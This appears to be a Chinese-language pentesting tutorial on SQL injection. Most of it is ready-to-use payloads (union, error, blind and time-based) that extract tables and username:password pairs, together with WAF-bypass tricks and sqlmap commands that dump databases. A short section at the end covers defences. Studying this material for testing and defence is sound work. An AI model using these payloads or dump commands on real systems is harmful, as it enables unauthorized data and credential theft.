---
title: "SQL 注入漏洞详解"
weight: 10
date: "2026-03-08T22:45:09+08:00"
lastmod: "2026-03-08T22:45:09+08:00"
---

## 漏洞概述

SQL 注入是最常见的 Web 漏洞之一，攻击者通过在输入中注入恶意 SQL 语句，操纵后端数据库查询。

**OWASP Top 10**: A03:2021  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 漏洞检测

### 手工检测

```
# 基础测试
' or '1'='1
" or "1"="1
' or 1=1--
' or 1=1#
') or ('1'='1

# 报错测试
' and extractvalue(rand(),concat(0x7e,version()))--
' and updatexml(1,concat(0x7e,version()),1)--

# 时间盲注测试
' and sleep(5)--
" and sleep(5)--
' and benchmark(10000000,MD5('a'))--
```

### 工具检测

```bash
# SQLMap 检测
sqlmap -u "http://target.com/page?id=1" --batch
sqlmap -u "http://target.com/page" --data="id=1" --batch

# 自动识别注入点
sqlmap -u "http://target.com/page?id=1" --dbs
```

---

## 注入类型

### 1. 联合查询注入 (Union Based)

```sql
# 判断字段数
?id=1' order by 3--
?id=1' order by 4--  # 报错，说明字段数是 3

# 爆数据库
?id=-1' union select 1,database(),3--

# 爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

# 爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--

# 爆数据
?id=-1' union select 1,group_concat(username,':',password),3 from users--
```

### 2. 报错注入 (Error Based)

```sql
# floor 报错
' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--

# extractvalue 报错
' and extractvalue(rand(),concat(0x7e,(select database())))--

# updatexml 报错
' and updatexml(1,concat(0x7e,(select database())),1)--
```

### 3. 布尔盲注 (Boolean Based)

```sql
# 判断数据库名长度
' and length(database())=8--

# 逐字符爆破
' and ascii(substr(database(),1,1))=115--  # s
' and ascii(substr(database(),2,1))=101--  # e
' and ascii(substr(database(),3,1))=99--   # c
```

### 4. 时间盲注 (Time Based)

```sql
# MySQL
' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--

# PostgreSQL
'; select pg_sleep(5)--

# MSSQL
'; waitfor delay '0:0:5'--

# Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END;--
```

---

## 绕过技巧

### WAF 绕过

```sql
# 大小写混合
UNION SELECT -> UnIoN SeLeCt

# 双写绕过
UNION -> UNIUNIONON
SELECT -> SELSELECTECT

# 编码绕过
空格 -> %09 %0A %0C %0D
= -> %3D
' -> %27

# 注释绕过
空格 -> /**/
' and 1=1-- -> 'and/**/1=1--

# 内联注释
' /*!UNION*/ /*!SELECT*/ 1,2,3--
```

### 引号绕过

```sql
# 宽字节注入
%df' -> 運' (吃掉转义符)

# 十六进制编码
'admin' -> 0x61646d696e
```

---

## 实战案例

### 案例 1: GET 参数注入

```bash
# 检测
sqlmap -u "http://target.com/news.php?id=1" --batch

# 获取数据库
sqlmap -u "http://target.com/news.php?id=1" --dbs --batch

# 获取表
sqlmap -u "http://target.com/news.php?id=1" -D database --tables --batch

# 获取数据
sqlmap -u "http://target.com/news.php?id=1" -D database -T users --dump --batch
```

### 案例 2: POST 参数注入

```bash
# 检测
sqlmap -u "http://target.com/login" --data="username=admin&password=123" --batch

# 获取数据
sqlmap -u "http://target.com/login" --data="username=admin&password=123" -D database --dump --batch
```

### 案例 3: Cookie 注入

```bash
# 检测 Cookie
sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123" --batch

# 获取数据
sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123" -D database --dump --batch
```

### 案例 4: HTTP 头注入

```bash
# User-Agent 注入
sqlmap -u "http://target.com/" --user-agent="Mozilla/5.0" --batch

# Referer 注入
sqlmap -u "http://target.com/" --referer="http://google.com" --batch
```

---

## 防御建议

1. **使用参数化查询 (预编译)**
   ```java
   // Java
   PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
   pstmt.setInt(1, id);
   ```

2. **使用 ORM 框架**
   ```python
   # Python SQLAlchemy
   user = session.query(User).filter_by(id=user_id).first()
   ```

3. **输入验证**
   ```php
   // PHP
   $id = intval($_GET['id']);
   ```

4. **最小权限原则**
   ```sql
   -- 数据库用户权限限制
   GRANT SELECT ON database.* TO 'webapp'@'localhost';
   ```

5. **WAF 防护**
   - 部署 Web 应用防火墙
   - 配置 SQL 注入规则

---

## 参考链接

- [SQLMap 官方文档](https://sqlmap.org/)
- [PayloadsAllTheThings - SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
- [HackTricks - SQL Injection](https://book.hacktricks.wiki/pentesting-web/sql-injection)
